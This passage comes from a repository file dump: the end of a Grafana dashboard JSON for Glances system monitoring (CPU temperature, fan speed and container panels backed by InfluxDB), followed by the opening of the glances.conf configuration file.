\"text\",\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 0,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"insertNulls\": false,\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 1,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"auto\",\n\t\t\t\t\t\t\"spanNulls\": false,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"fieldMinMax\": false,\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"celsius\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 6,\n\t\t\t\t\"w\": 12,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 30\n\t\t\t},\n\t\t\t\"id\": 21,\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\",\n\t\t\t\t\t\"showLegend\": true\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\",\n\t\t\t\t\t\"sort\": \"none\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"$tag_label\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"label::tag\"],\n\t\t\t\t\t\t\t\"type\": \"tag\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"null\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"sensors\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"value\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"type\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^SensorType.CPU_TEMP$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"CPU temperature\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t},\n\t\t\t\"description\": \"\",\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisBorderShow\": false,\n\t\t\t\t\t\t\"axisCenteredZero\": false,\n\t\t\t\t\t\t\"axisColorMode\": \"text\",\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 0,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"insertNulls\": false,\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 1,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"auto\",\n\t\t\t\t\t\t\"spanNulls\": false,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"fieldMinMax\": false,\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"rotrpm\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 6,\n\t\t\t\t\"w\": 12,\n\t\t\t\t\"x\": 12,\n\t\t\t\t\"y\": 30\n\t\t\t},\n\t\t\t\"id\": 32,\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\",\n\t\t\t\t\t\"showLegend\": true\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\",\n\t\t\t\t\t\"sort\": \"none\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"$tag_label\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"label::tag\"],\n\t\t\t\t\t\t\t\"type\": \"tag\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"null\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"sensors\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"value\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"type\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^SensorType.FAN_SPEED$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"FAN speed\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_LSAT1}\"\n\t\t\t},\n\t\t\t\"editable\": true,\n\t\t\t\"error\": false,\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 3,\n\t\t\t\t\"w\": 24,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 36\n\t\t\t},\n\t\t\t\"id\": 13,\n\t\t\t\"options\": {\n\t\t\t\t\"code\": {\n\t\t\t\t\t\"language\": \"plaintext\",\n\t\t\t\t\t\"showLineNumbers\": false,\n\t\t\t\t\t\"showMiniMap\": false\n\t\t\t\t},\n\t\t\t\t\"content\": \"\",\n\t\t\t\t\"mode\": \"markdown\"\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"style\": {},\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_LSAT1}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"refId\": \"A\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"Containers\",\n\t\t\t\"type\": \"text\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t},\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisBorderShow\": false,\n\t\t\t\t\t\t\"axisCenteredZero\": false,\n\t\t\t\t\t\t\"axisColorMode\": \"text\",\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 0,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"insertNulls\": false,\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 2,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": false,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"min\": 0,\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"short\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byName\",\n\t\t\t\t\t\t\t\"options\": \"MEM\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"unit\",\n\t\t\t\t\t\t\t\t\"value\": \"decbytes\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byName\",\n\t\t\t\t\t\t\t\"options\": \"$host.docker.mean\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"color\",\n\t\t\t\t\t\t\t\t\"value\": {\n\t\t\t\t\t\t\t\t\t\"fixedColor\": \"#ba43a9\",\n\t\t\t\t\t\t\t\t\t\"mode\": \"fixed\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byName\",\n\t\t\t\t\t\t\t\"options\": \"CPU%\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"color\",\n\t\t\t\t\t\t\t\t\"value\": {\n\t\t\t\t\t\t\t\t\t\"fixedColor\": \"#cca300\",\n\t\t\t\t\t\t\t\t\t\"mode\": \"fixed\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byName\",\n\t\t\t\t\t\t\t\"options\": \"MEM\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"color\",\n\t\t\t\t\t\t\t\t\"value\": {\n\t\t\t\t\t\t\t\t\t\"fixedColor\": \"#2f575e\",\n\t\t\t\t\t\t\t\t\t\"mode\": \"fixed\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byName\",\n\t\t\t\t\t\t\t\"options\": \"MEM\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"unit\",\n\t\t\t\t\t\t\t\t\"value\": \"decbytes\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byName\",\n\t\t\t\t\t\t\t\"options\": \"MEM\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"custom.fillOpacity\",\n\t\t\t\t\t\t\t\t\"value\": 100\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"custom.fillOpacity\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 8,\n\t\t\t\t\"w\": 24,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 39\n\t\t\t},\n\t\t\t\"id\": 25,\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\",\n\t\t\t\t\t\"showLegend\": true\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"multi\",\n\t\t\t\t\t\"sort\": \"none\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"repeat\": \"container\",\n\t\t\t\"repeatDirection\": \"v\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"CPU%\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"hide\": false,\n\t\t\t\t\t\"measurement\": \"containers\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"cpu_percent\\\") FROM \\\"$host.docker\\\" WHERE $timeFilter GROUP BY time($__interval) fill(none)\",\n\t\t\t\t\t\"rawQuery\": false,\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"cpu_percent\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"name\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$container$/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"MEM\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"hide\": false,\n\t\t\t\t\t\"measurement\": \"containers\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"cpu_percent\\\") FROM \\\"$host.docker\\\" WHERE $timeFilter GROUP BY time($__interval) fill(none)\",\n\t\t\t\t\t\"rawQuery\": false,\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"memory_usage\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"name\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$container$/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"condition\": \"AND\",\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"$container container\",\n\t\t\t\"type\": \"timeseries\"\n\t\t}\n\t],\n\t\"refresh\": \"5s\",\n\t\"schemaVersion\": 39,\n\t\"tags\": [],\n\t\"templating\": {\n\t\t\"list\": [\n\t\t\t{\n\t\t\t\t\"current\": {},\n\t\t\t\t\"datasource\": {\n\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t},\n\t\t\t\t\"definition\": \"show tag values with key=\\\"hostname\\\"\",\n\t\t\t\t\"hide\": 0,\n\t\t\t\t\"includeAll\": false,\n\t\t\t\t\"multi\": false,\n\t\t\t\t\"name\": \"host\",\n\t\t\t\t\"options\": [],\n\t\t\t\t\"query\": \"show tag values with key=\\\"hostname\\\"\",\n\t\t\t\t\"refresh\": 1,\n\t\t\t\t\"regex\": \"\",\n\t\t\t\t\"skipUrlSync\": false,\n\t\t\t\t\"sort\": 0,\n\t\t\t\t\"tagValuesQuery\": \"\",\n\t\t\t\t\"tagsQuery\": \"\",\n\t\t\t\t\"type\": \"query\",\n\t\t\t\t\"useTags\": false\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"current\": {},\n\t\t\t\t\"datasource\": {\n\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t},\n\t\t\t\t\"definition\": \"show tag values with key=\\\"name\\\"\",\n\t\t\t\t\"hide\": 0,\n\t\t\t\t\"includeAll\": true,\n\t\t\t\t\"multi\": true,\n\t\t\t\t\"name\": \"container\",\n\t\t\t\t\"options\": [],\n\t\t\t\t\"query\": \"show tag values with key=\\\"name\\\"\",\n\t\t\t\t\"refresh\": 1,\n\t\t\t\t\"regex\": \"\",\n\t\t\t\t\"skipUrlSync\": false,\n\t\t\t\t\"sort\": 1,\n\t\t\t\t\"tagValuesQuery\": \"\",\n\t\t\t\t\"tagsQuery\": \"\",\n\t\t\t\t\"type\": \"query\",\n\t\t\t\t\"useTags\": false\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"current\": {},\n\t\t\t\t\"datasource\": {\n\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t},\n\t\t\t\t\"definition\": \"show tag values with key=\\\"interface_name\\\"\",\n\t\t\t\t\"hide\": 0,\n\t\t\t\t\"includeAll\": false,\n\t\t\t\t\"multi\": false,\n\t\t\t\t\"name\": \"interface\",\n\t\t\t\t\"options\": [],\n\t\t\t\t\"query\": \"show tag values with key=\\\"interface_name\\\"\",\n\t\t\t\t\"refresh\": 1,\n\t\t\t\t\"regex\": \"\",\n\t\t\t\t\"skipUrlSync\": false,\n\t\t\t\t\"sort\": 1,\n\t\t\t\t\"tagValuesQuery\": \"\",\n\t\t\t\t\"tagsQuery\": \"\",\n\t\t\t\t\"type\": \"query\",\n\t\t\t\t\"useTags\": false\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"current\": {},\n\t\t\t\t\"datasource\": {\n\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t},\n\t\t\t\t\"definition\": \"show tag values with key=\\\"disk_name\\\"\",\n\t\t\t\t\"hide\": 0,\n\t\t\t\t\"includeAll\": false,\n\t\t\t\t\"multi\": false,\n\t\t\t\t\"name\": \"disk\",\n\t\t\t\t\"options\": [],\n\t\t\t\t\"query\": \"show tag values with key=\\\"disk_name\\\"\",\n\t\t\t\t\"refresh\": 1,\n\t\t\t\t\"regex\": \"\",\n\t\t\t\t\"skipUrlSync\": false,\n\t\t\t\t\"sort\": 1,\n\t\t\t\t\"tagValuesQuery\": \"\",\n\t\t\t\t\"tagsQuery\": \"\",\n\t\t\t\t\"type\": \"query\",\n\t\t\t\t\"useTags\": false\n\t\t\t}\n\t\t]\n\t},\n\t\"time\": {\n\t\t\"from\": \"now-1h\",\n\t\t\"to\": \"now\"\n\t},\n\t\"timepicker\": {\n\t\t\"collapse\": false,\n\t\t\"enable\": true,\n\t\t\"notice\": false,\n\t\t\"now\": true,\n\t\t\"refresh_intervals\": [\n\t\t\t\"5s\",\n\t\t\t\"10s\",\n\t\t\t\"30s\",\n\t\t\t\"1m\",\n\t\t\t\"5m\",\n\t\t\t\"15m\",\n\t\t\t\"30m\",\n\t\t\t\"1h\",\n\t\t\t\"2h\",\n\t\t\t\"1d\"\n\t\t],\n\t\t\"status\": \"Stable\",\n\t\t\"time_options\": [\"5m\", \"15m\", \"1h\", \"6h\", \"12h\", \"24h\", \"2d\", \"7d\", \"30d\"],\n\t\t\"type\": \"timepicker\"\n\t},\n\t\"timezone\": \"browser\",\n\t\"title\": \"Glances\",\n\t\"uid\": \"000000002\",\n\t\"version\": 5,\n\t\"weekStart\": \"\"\n}\n"
  },
  {
    "path": "conf/glances.conf",
    "content": "##############################################################################\n# Globals Glances parameters\n##############################################################################\n\n[global]\n# Stats refresh rate (default is a minimum of 2 seconds)\n# Can be overwrite by the -t <sec> option\n# It is also possible to overwrite it in each plugin sections\nrefresh=2\n# Does Glances should check if a newer version is available on PyPI ?\ncheck_update=true\n# History size (maximum number of values)\n# Default is 1200 values (~1h with the default refresh rate)\nhistory_size=1200\n# Set the way Glances should display the date (default is %Y-%m-%d %H:%M:%S %Z)\n#strftime_format=%Y-%m-%d %H:%M:%S %Z\n# Define external directory for loading additional plugins\n# The layout follows the glances standard for plugin definitions\n#plugin_dir=/home/user/dev/plugins\n\n##############################################################################\n# User interface\n##############################################################################\n\n[outputs]\n# Options for all UIs\n#--------------------\n# 